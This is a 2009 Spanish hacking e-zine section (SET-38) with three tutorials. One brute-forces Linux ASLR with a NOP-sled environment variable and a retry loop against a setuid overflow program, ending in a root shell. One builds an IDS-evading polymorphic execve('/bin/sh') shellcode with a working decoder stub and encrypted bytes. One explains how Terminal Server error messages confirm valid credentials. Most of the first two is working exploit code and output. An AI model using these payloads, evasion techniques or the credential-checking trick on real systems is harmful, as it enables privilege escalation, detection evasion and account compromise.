-[ 0x03 ]-------------------------------------------------------------------- -[ Bazar de SET ]------------------------------------------------------------ -[ by Varios Autores ]-----------------------------------------------SET-38-- -== INDICE ==- 3x01 ASLR No Tan Aleatorio Hacking blackngel 3x02 Shellcodes Polimorficos en Linux Hacking blackngel 3x03 Respuestas reveladoras en Win 2003 SBS Terminal Server Info/Hack d00han.t3am -[ 3x01 ]-------------------------------------------------------------------- -[ ASLR No Tan Aleatorio ]--------------------------------------------------- -[ by blackngel ]------------------------------------------------------------ ^^ *`* @@ *`* HACK THE WORLD * *--* * ## || * * * * (C) Copyleft 2009 everybody _* *_ Lo que vamos a demostrar aqui no es nada nuevo, en realidad la informacion surge de unos videos publicados en la web por un tal BlackLight, pero mis intenciones son varias: por un lado demostrar la experiencia propia, por otro ofrecer todas las aclaraciones posibles y como no, despues de todos los articulos publicados con respecto a la explotacion en linux en la anterior edicion de SET, esto constituye un buen agregado a todo lo ya mostrado. En definitiva, plasmaremos en formato ASCII el problema que representa la confianza de los usuarios en el actual sistema ASLR (Address Space Layout Randomization) que se encarga de la supuesta aleatorizacion de direcciones de memoria. ASLR no previene la sobreescritura de datos en memoria, esto es, que todavia tenemos la capacidad de sobreescribir valores de retorno guardados por llamadas a funciones, y por lo tanto redirigir el flujo de un programa a una direccion de nuestra eleccion. De lo que realmente se encarga ASLR, es de que no podamos predecir la direccion de ningun buffer dado, ni cualquier otra direccion que se encuentre sobre el stack (como por ejemplo la zona ocupada por las variables de entorno). Esto se logra mediante la ya mencionada aleatorizacion de las direcciones de la pila y el heap. Ahora, analizandolo realmente la efectividad de esta pseudo-aleatorizacion y tomando de la mano el pequeño programa que siempre usamos para obtener la direccion de una variable de entorno, obtenemos los siguientes datos. HOME is located at 0xbffe3e1a HOME is located at 0xbf9a5e1a HOME is located at 0xbfa68e1a HOME is located at 0xbfe35e1a HOME is located at 0xbfb9ce1a HOME is located at 0xbfec0e1a HOME is located at 0xbf9eae1a HOME is located at 0xbfa9ce1a HOME is located at 0xbfb6be1a HOME is located at 0xbf880e1a De los 4 bytes que componen la direccion, vemos que son los 3 ultimos los que varian en cada ejecucion. De ello podemos deducir que de los 32 bits que esta ocupa, 24 son los que sufren el cambio: 3 bytes * 8 bits/byte = 24 bits Pero si cojemos una muestra de las direccion obtenidas, y comparamos sus valores en binario, podemos sacar otra apreciacion: 1er byte 2do byte 3er byte 4to byte -------- --------- -------- -------- 0xbffe3e1a -> 10111111 1 1111110 00111110 00011010 0xbfa68e1a -> 10111111 1 0100110 10001110 00011010 0xbf880e1a -> 10111111 1 0001000 00001110 00011010 Vemos que el bit mas significativo (MSB) del segundo byte es comun en todas las direcciones, y de ahi deducimos que el numero de bits realmente aleatorizados es 23. Ahora, que cantidad de espacio de memoria se puede direccionar con dichos bits: /------ 23 bits ------\ 11111111111111111111111 = 8388607 bytes 8388607 / 1024 = 8192 kbytes 8192 / 1024 = 8 mb Exactamente 8 megabytes (aunque lo hayamos aclarado for dummies). En mi caso, la maxima cantidad de bytes que he logrado introducir en el entorno ronda a la siguiente: $ export PAD=`perl -e 'print "A"x131000'` Depende de que variables tengas ya establecidas en tu entorno particular, pero siempre rondara los 128 kb. La cuestion es, con respecto a los 8 mb de espacio aleatorizado, que porcentaje representan 131 kilobytes en nuestro caso de estudio? 8388607 -> 100 % | X = (131000 * 100) / 8388607 131000 -> X % | X = 1,561641879 % Osease, alrededor de un 1,6 % de los 8 mb que ya hablamos. Entonces este mismo porcentaje es el de posibilidades que tenemos de que en una de las ejecuciones del programa el contenido de nuestra variable de entorno caiga en esas direcciones. Lo obvio. Si nosotros intentamos caer en la direccion exacta de comienzo de un shellcode situado en el entorno, lo tendremos muy pero que muy crudo. Pero... si introducimos cerca de 128000 instrucciones NOP antes de nuestra shellcode, tendremos ese 1,6 % de posibilidades de ejecutar codigo arbitrario. Luego solo es cuestion de ejecutar el exploit una cierta cantidad de veces hasta que tengamos la suerte de entrar dentro de ese porcentaje que nos dara el premio; y creeme, no son tantas. Cogeremos este programa vulnerable: ---[ meet.c ]--- greeting(char *temp1, char *temp2) { char name[512]; strcpy(name, temp2); printf("Hello, %s %s\n", temp1, name); } main(int argc, char *argv[]) { greeting(argv[1],argv[2]); printf("Bye %s %s\n", argv[1], argv[2]); } ---[ end meet.c ]--- En primer lugar introduzcamos nuestro shellcode: $ export PAD=`perl -e 'print "\x90"x130000'``cat sc` Vease que "sc" es un archivo binario conteniendo los bytes del shellcode escogido. Comprobemos ahora el relleno necesario para sobreescribir la direccion de retorno guardada: (gdb) run black `perl -e 'print "A"x526'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/blackngel/.../bo/meet black `perl -e 'print "A"x526'` Hello, black AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. Cannot access memory at address 0x8004141 0x08004141 in ?? () Bien, debemos rellenar 524 bytes y luego nuestra direccion de retorno deseada. Cual utilizar? Como ya explique, cualquiera que caiga dentro del espacio de memoria de los 8 megas aleatorizados, luego solo es cuestion de suerte que esa direccion coincida con alguna perteneciente al gran relleno de NOPS que hemos introducido en el entorno. Si esto ocurre, el flujo de codigo se desplazara como una cinta de transporte hasta alcanzar nuestro shellcode, y entonces el control estara en nuestras manos. Para demostrar que es cuestion de suerte, escogere la tercera direccion que obtuvimos al principio del articulo: "0xbfa68e1a". Luego hago uso de ella en el siguiente y sencillo script: ---[ ex.sh ]--- #!/bin/sh for i in `seq 1 500`; do echo "\nIntento: $i" ./meet black `perl -e 'print "A"x524 . "\x1a\x8e\xa6\xbf"'` done ---[ end ex.sh ]--- Le damos permisos de ejecucion: $ sudo chmod u+x ex.sh Y cambiamos el usuario del programa a root y lo setuidamos: $ sudo chown root:root meet $ sudo chmod u+s meet $ ls -al meet -rwsr-xr-x 1 root root 6540 2009-08-14 20:00 meet Lo ejecutamos y... blackngel@mac:~/Exploiting/bo$ ./ex.sh | more \nIntento: 1 ./ex.sh: line 3: 13153 Fallo de segmentación ./meet black `perl -e 'print "A"x524 . "\x1a\x8e\xa6\xbf"'` \nIntento: 2 ./ex.sh: line 3: 13155 Fallo de segmentación ./meet black `perl -e 'print "A"x524 . "\x1a\x8e\xa6\xbf"'` \nIntento: 3 ./ex.sh: line 3: 13157 Fallo de segmentación ./meet black `perl -e 'print "A"x524 . "\x1a\x8e\xa6\xbf"'` \nIntento: 4 ./ex.sh: line 3: 13159 Fallo de segmentación ./meet black `perl -e 'print "A"x524 . "\x1a\x8e\xa6\xbf"'` \nIntento: 5 ./ex.sh: line 3: 13161 Fallo de segmentación ./meet black `perl -e 'print "A"x524 . "\x1a\x8e\xa6\xbf"'` \nIntento: 6 ./ex.sh: line 3: 13163 Fallo de segmentación ./meet black `perl -e 'print "A"x524 . "\x1a\x8e\xa6\xbf"'` \nIntento: 7 ./ex.sh: line 3: 13165 Fallo de segmentación ./meet black `perl -e 'print "A"x524 . "\x1a\x8e\xa6\xbf"'` \nIntento: 8 sh-3.2# Jajaja, a eso si que le llamo yo suerte, al octavo intento nada mas y nada menos, es mas, la primera vez que probe el comando a manos sin el escript, a la cuarta tenia una shell con permisos de root delante de mis ojos. Otras veces necesitaras 68 intentos, otras 200 y pico, y otras mas, pero que mas da, lo importante es que lo hemos logrado y tenemos el control del sistema. Recuerda que este ataque solo es viable en local, ya que cualquier fallo de segmentacion provocado en un servicio remoto causaria su caida, y normalmente (salvo que posea alguna clase de mecanismo de reinicio automatico) esto implica que no dispondremos de mas intentos para ejecutar codigo arbitrario. CONCLUSION ---------- Este es el metodo que mejor demuestra la mayor debilidad del sistema de seguridad ASLR implementado en la mayor parte de las distribuciones linux de hoy en dia. No obstante, otros metodos todavia siguen siendo viables. Entre ellos el clasico "return to esp o ret2esp". Todos sabemos que el registro ESP apunta normalmente al inicio de las variables declaradas dentro de una funcion, ya que este marca la cima del stack. Por decirlo de alguna manera, es uno de los pocos testigos que sabe en tiempo de ejecucion donde se encuentra nuestro buffer (su direccion), algo que nosotros no somos capaces de predecir antes de que esto ocurra. Por lo tanto, si sobreescribimos la direccion de retorno guardada con otra direccion que apunte a una instruccion como "jmp *%esp" o "call *$esp", esta deberia ir directamente a caer dentro de nuestra shellcode (normalmente precedida de un relleno de NOPS), logrando asi el objetivo principal. Una instruccion como "jmp *%esp" no es mas que un par de bytes: "ff e4". De modo que tampoco es necesario que el programa vulnerable contenga una direccion como esta, sino que al menos se encuentre por casualidad esta combinacion de bytes dentro de una zona marcada con permisos de ejecucion. BlackLight tambien apunto en uno de sus videos la forma de lograr nuevamente la ejecucion de codigo arbitrario haciendo uso de la tecnica "ret2reg", que viene a decir que si algun registro del procesador (eax, ebx, ecx, etc...) apuntara por casualidad a nuestro buffer, podriamos utilizar nuevamente una instruccion como "jmp reg" o "call reg". Pero debe advertirse que esto solo se da en ciertos programas. Su exploit tiene truco (aunque a proposito), ya que en el se utiliza un puntero al que se le asigna la direccion del buffer vulnerable, y de este modo, cuando se produce el fallo de segmentacion, el registro %eax queda apuntando al mismo, y por lo tanto la tecnica es factible. Sin mas, espero que esto haya sido de utilidad y te anime a pensar que cuando hay gente que nos pisa los frenos, nosotros no soltamos el acelerador. P.D.: Te atreves a probar esta tecnica en un sistema de 64 bits? Quizas lo veamos en esta misma revista en un futuro. Feliz Hacking! blackngel *EOF* -[ 3x02 ]-------------------------------------------------------------------- -[ Shellcodes Polimorficos en Linux ]---------------------------------------- -[ by blackngel ]------------------------------------------------------------ ^^ *`* @@ *`* HACK THE WORLD * *--* * ## || * * * * (C) Copyleft 2009 everybody _* *_ Vimos en la anterior edicion de SET como construir nuestras propias Shellcode bajo entornos Linux con una arquitectura de 32 bits. Hoy en dia, cualquier sistema de deteccion de intrusos (IDS o sus variantes HIDS, NIDS, etc...), es capaz de detectar la mayor parte de los ataques contra buffer overflows debido al hecho de que es muy simple reconocer el patron tipico de un shellcode clasico. Los virus han sufrido este problema durante mucho tiempo, partes de su cuerpo eran comparadas contra bases de datos con firmas pre-grabas y de este modo eran frenados de inmediato. Para evadir este problema, ciertos programadores de virus empezaron a utilizar una tecnica que ya poseian algunos seres biologicos. Estoy hablando del "polimorfismo". Tenemos segun la wikipedia que: "En computacion (informatica), es también una técnica utilizada por virus informáticos y gusanos para modificar partes de su codigo dificultando su deteccion". La pregunta obvia es entonces: Se puede aplicar esta tecnica en la codificacion de un Shellcode? La respuesta, ya esperada, es SI, sino este breve articulo no tendria ningun sentido. Al fin y al cabo un Shellcode no es un objeto completamente inanimado, sino simplemente un binario conteniendo codigo ejecutable. Un codigo polimorfico consta de 3 partes, 2 de ellas van siempre unidas dentro del Shellcode, la otra es externa, las tres son: -> El cifrador -> El descifrador -> El Shellcode original El objetivo es cifrar un shellcode normal con una llave aleatoria de modo que el resultado final no pueda ser reconocida por ninguna base de datos con patrones pre-establecidos. Lo que queda claro aqui es que este mismo codigo debe descifrarse con la misma llave justo antes de ejecutarse, sino no podriamos predecir el comportamiento que tendria, y seguramente acabaria en un desastre. El descifrador ira "pegado" al shellcode original, y sera la unica parte del codigo que no ira cifrada. Graficamente quedaria asi: ___________________ [ DESCIFRADOR ] [___________________] [ ] [ ] [ SHELLCODE CIFRADO ] [ ] [___________________] Vale, ya ha quedado claro que el cifrador se trata de un elemento externo, es por eso que de momento nos vamos a centrar en los otros dos. Tomemos uno de los shellcodes utilizados en el articulo ya mencionado: 8048060: 31 c0 xor %eax,%eax 8048062: 50 push %eax 8048063: 68 2f 2f 73 68 push $0x68732f2f 8048068: 68 2f 62 69 6e push $0x6e69622f 804806d: 89 e3 mov %esp,%ebx 804806f: 50 push %eax 8048070: 53 push %ebx 8048071: 89 e1 mov %esp,%ecx 8048073: b0 0b mov $0xb,%al 8048075: cd 80 int $0x80 char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; Bien, sabemos que no esta cifrado, pero vamos a imaginar que lo estuviera, y que el algoritmo fuera tan basico como un Cifrado del Cesar, es decir, que a todos los bytes del mismo se le ha sumado cierta cantidad, por ejemplo un "3". Entonces... sabrias escribir un breve codigo ensamblador que fuera capaz de revertir este proceso? Vamos a ello. Os acordais de la estructura que utilizamos en nuestros shellcode para acceder a la direccion de una cadena como "/bin/sh"? Se mostraba asi: o---jmp offset_to_call | popl %esi <----------o | [codigo shell] | | .............. | | .............. | | [codigo shell] | o-> call offset-to-popl -o .string \"/bin/sh\" Es decir saltamos a una instruccion call, y esta regresa a la siguiente instruccion despues del jump, lo cual parece un sin-sentido, pero la magia esta en que la instruccion call pushea en la pila la siguiente instruccion a ejecutar despues de ella, que es exactamente la direccion de la cadena "/bin/sh" y luego la instruccion "pop" simplemente la recoge en el registro ESI, de modo que a partir de ese instante podemos manejar la cadena a nuestro antojo. Ahora miralo asi. Que ocurriria si en lugar de la cadena "/bin/sh" copiamos a partir de ahi las instrucciones de nuestro shellcode? Pues que tendriamos en ESI la direccion en la que comienza ese codigo, y podriamos realizar sobre el todas las operaciones necesarias. Veamos como pintaria un descifrador general para nuestro proposito: ---[ sc-pol.asm ]--- global _start _start: jmp short magic init: pop esi xor ecx,ecx mov cl,0 desc: sub byte[esi + ecx - 1],0 sub cl,1 jnz desc jmp short sc magic: call init sc: ; aqui va el shellcode ---[ end sc-pol.asm ]--- Lo explicamos, primera utilizamos el truco para obtener en ESI la direccion donde comenzarian las instrucciones de nuestro shellcode supuestamente cifrado. Luego limpiamos ECX y movemos a CL un valor 0, pero esto es temporalmente, ya que ese valor debemos cambiarlo posteriormente con la longitud del shellcode original (lo veremos). Despues comienza el proceso de descifrado que se trata de una simple operacion SUB, que como podeis comprobar, va restando un valor 0 a cada byte del shellcode original recorriendoles desde el final hasta el principio, osease hasta que cl (la longitud) llegue a cero, por eso vamos decrementando este registro en cada pasada. Nuevamente, temporalmente restamos un valor 0 a cada byte pero este valor tambien se cambiara posteriormente por la llave con que hayamos cifrado el shellcode, que en nuestro ejemplo seria un 3. Cuando el proceso haya terminado, querra decir que el shellcode ha tomado su forma original, y que por lo tanto ya podemos saltar a el para que se ejecute. Compilemos este codigo y veamos que bytes obtenemos: blackngel@mac:~$ nasm -f elf sc-pol.asm blackngel@mac:~$ ld sc-pol.o -o sc-pol blackngel@mac:~$ objdump -d sc-pol sc-pol: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 11 jmp 8048073 08048062 : 8048062: 5e pop %esi 8048063: 31 c9 xor %ecx,%ecx 8048065: b1 00 mov $0x0,%cl 08048067 : 8048067: 80 6c 0e ff 00 subb $0x0,-0x1(%esi,%ecx,1) 804806c: 80 e9 01 sub $0x1,%cl 804806f: 75 f6 jne 8048067 8048071: eb 05 jmp 8048078 08048073 : 8048073: e8 ea ff ff ff call 8048062 Recogiendo los valores tenemos: Lo cambiaremos por la longitud del shellcode cifrado ^ | ___ | | | "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00" | "\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff" | | v Lo cambiaremos por el valor con que ciframos el shellcode Hasta aqui todo perfecto, ahora podriamos utilizar un programa que abriera un shellcode, leyera los bytes uno a uno y volcara en otro archivo de salida el resultado de sumarle el valor 3 a cada uno de ellos. Esto es demasiado sencillo, asi que para nuestro proposito, ya que no deseo extenderme mucho, lo haremos a mano para la prueba de concepto. De modo que nos queda: Original: "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" Cifrado: "\x34\xc3\x53\x6b\x32\x32\x76\x6b\x6b\x32\x65\x6c" "\x71\x8c\xe6\x53\x56\x8c\xe4\xb3\x0e\xd0\x83" Bien, ya lo tenemos, ademas sabemos que la longitud de este shellcode es de 23 bytes, igual que el original, y que este valor en hexadecimal se traduce como: 0x17. Con esto en mente, ya podemos modificar los dos valores 0 del descifrador general que teniamos. El primoero lo sustituiremos por 0x17 (la longitud del shellcode cifrado), y el segundo por 0x03 (el valor de la llave con que lo ciframos). Si lo juntamos todo en un programa de prueba nos quedaria como esto: ---[ prueba_sc.c ]--- char shellcode[] = /* Descifrador */ "\xeb\x11\x5e\x31\xc9\xb1\x17\x80\x6c\x0e\xff\x03" "\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff" /* Shellcode Cifrado */ "\x34\xc3\x53\x6b\x32\x32\x76\x6b\x6b\x32\x65\x6c" "\x71\x8c\xe6\x53\x56\x8c\xe4\xb3\x0e\xd0\x83"; void main() { void (*fp) (void); fp = (void *)&shellcode; fp(); } ---[ end prueba_sc.c ]--- Lo probamos y... blackngel@mac:~$ ./prueba_sc sh-3.2$ whoami blackngel sh-3.2$ exit exit Ahora te invito a hacer una prueba, cambiar el segundo byte del descifrador de 0x11 a 0x16, esto provoca que salte directamente al shellcode sin antes haberlo descifrado, comprobaras como en este caso se produce un fallo de segmentacion, y ello se debe a que interpreta los bytes del mismo como un codigo ensamblador muy absurdo como: xor al,0xc3 push ebx imul esi,DWORD PTR [edx],0x32 jbe 0x80495eb imul esi,DWORD PTR [edx],0x65 ins BYTE PTR es:[edi],dx ... y llegara un momento en el que se rompe! A partir de aqui, es tu imaginacion la que puede desarrollar mucho mas esta tecnica. Puedes utilizar muchos y muy variados algoritmos de cifrado, entre ellos el inverso del que hemos utilizado (primero restar y luego sumar), realizar una operacion XOR a cada byte con un valor especificado como llave, e incluso cambiar los bytes del shellcode de posicion, por ejemplo el primero con el segundo, el tercero con el cuarto o, por que no, el primero con el ultimo, el segundo con el penultimo, y asi hasta el final. Con todo lo que hemos dicho, piensa que no es nada complicado hacer un programa al que se le pase como argumento el nombre de un archivo conteniendo un shellcode original, y te ofrezca como salida el mismo ya cifrado junto con el descifrador agregado al principio y con los valores ajustados apropiadamente. Este trabajo ya ha sido realizado, y es por ello que no me detendre en reinventar la rueda, asi que os dejo una estupenda referencia de un articulo que en su momento se publico en la revista Hakin9 y que ahora esta disponible en formato PDF. [1] http://www.tebo21.com/Contenidos/Hakin9/Hakin9-Crear-el-shellcode- polimorfico.pdf Feliz Hacking! blackngel *EOF* -[ 3x03 ]-------------------------------------------------------------------- -[ Respuestas reveladoras en Win 2003 SBS Terminal Server ]------------------ -[ by d00han.t3am ]---------------------------------------------------------- Objetivo ======== Conocer si la password de un usuario es valida simplemente interpretando los mensajes de respuesta de error de Terminal Server en Windows 2003 SBS Introduccion ============ Windows 2003 Small Business Server es una version reducida del ofical Windows 2003 Server. Se entiende reducida en cuanto a servicios que presta y a precios finales de venta. Como siempre, para mas informacion: http://es.wikipedia.org/wiki/Windows_Small_Business_Server Por defecto, se permiten 2 administradores. En esta version de Windows Server, como en otras, se permite el acceso remoto por terminal a dos administradores. Si se instala el el Servidor de Terminales (Terminal Server) y sus respectivas licencias podemos extender el escritorio remoto a otros usuarios del servidor. Para que estos usuarios remotos tengan acceso a este servicio hay varias formas de conceder el derecho: 1) Incluir al usuario en el grupo "Usuarios de escritorio remoto". 2) Incluir al usuario en un grupo que explicitamente tenga derechos. 3) Individualmente se adjudique a un usuario el derecho. Ataque ====== Cuando intentamos desde Windows (usando Conexion a Escritorio Remoto) o desde Linux (rdesktop) conectar con un cliente a un servicio de Terminal Server, introducimos un usuario y password que deben ser validas en el dominio o en las cuentas locales del servidor. Si lo anterior no ocurre, se nos muestra un mensaje de error. MSG 1: "No se puede iniciar su sesion. Asegurese de que su nombre de usuario y dominio sean correctos, luego repita su contrase~a. Las letras de la contrase~a se deben escribir usando mayusculas y minusculas correctamente." Este mensaje no nos indica si el usuario existe o no, o si existe y hemos escrito mal la contrase~a. Hasta aqui bien. ¿Que pasa si el usuario es correcto y la contrase~a es correcta? Bingo!.... entramos.... o no. Depende si el usuario tiene permisos para "logearse" en servidor por Terminal Server como se indicaba en la introduccion. Supongamos que NO tiene derechos para entrar por Terminal Server. AQUi ES DONDE windows revela, que el usuario existe, que la contrase~a es valida y que este usuario no tiene permisos para entrar por Terminal Server: MSG 2: "Para iniciar una sesion en este equipo remoto, se le debe conceder el derecho Permitir inicio de sesion a traves de Terminal Server. De forma predeterminada, los miembros del grupo Usuarios de escritorio remoto tienen este derecho. Si no es miembro del grupo Usuarios de escritorio remoto o de otro grupo con este derecho o si el grupo Usuarios de escritorio remoto no tiene este derecho, se le debe conceder derecho manualmente" Conclusion ========== Este tipo de dis-configuracion en Windows SBS 2003 no sirve para automatizar un ataque por fuerza bruta ni mucho menos, pero si nos puede ayudarnos en la comprobacion de un determinado usuario-pass que obtenemos por otros medios o para hacer "adivinaciones" manuales de passwords faciles. En fin, sacad vuestras propias conclusiones. *EOF*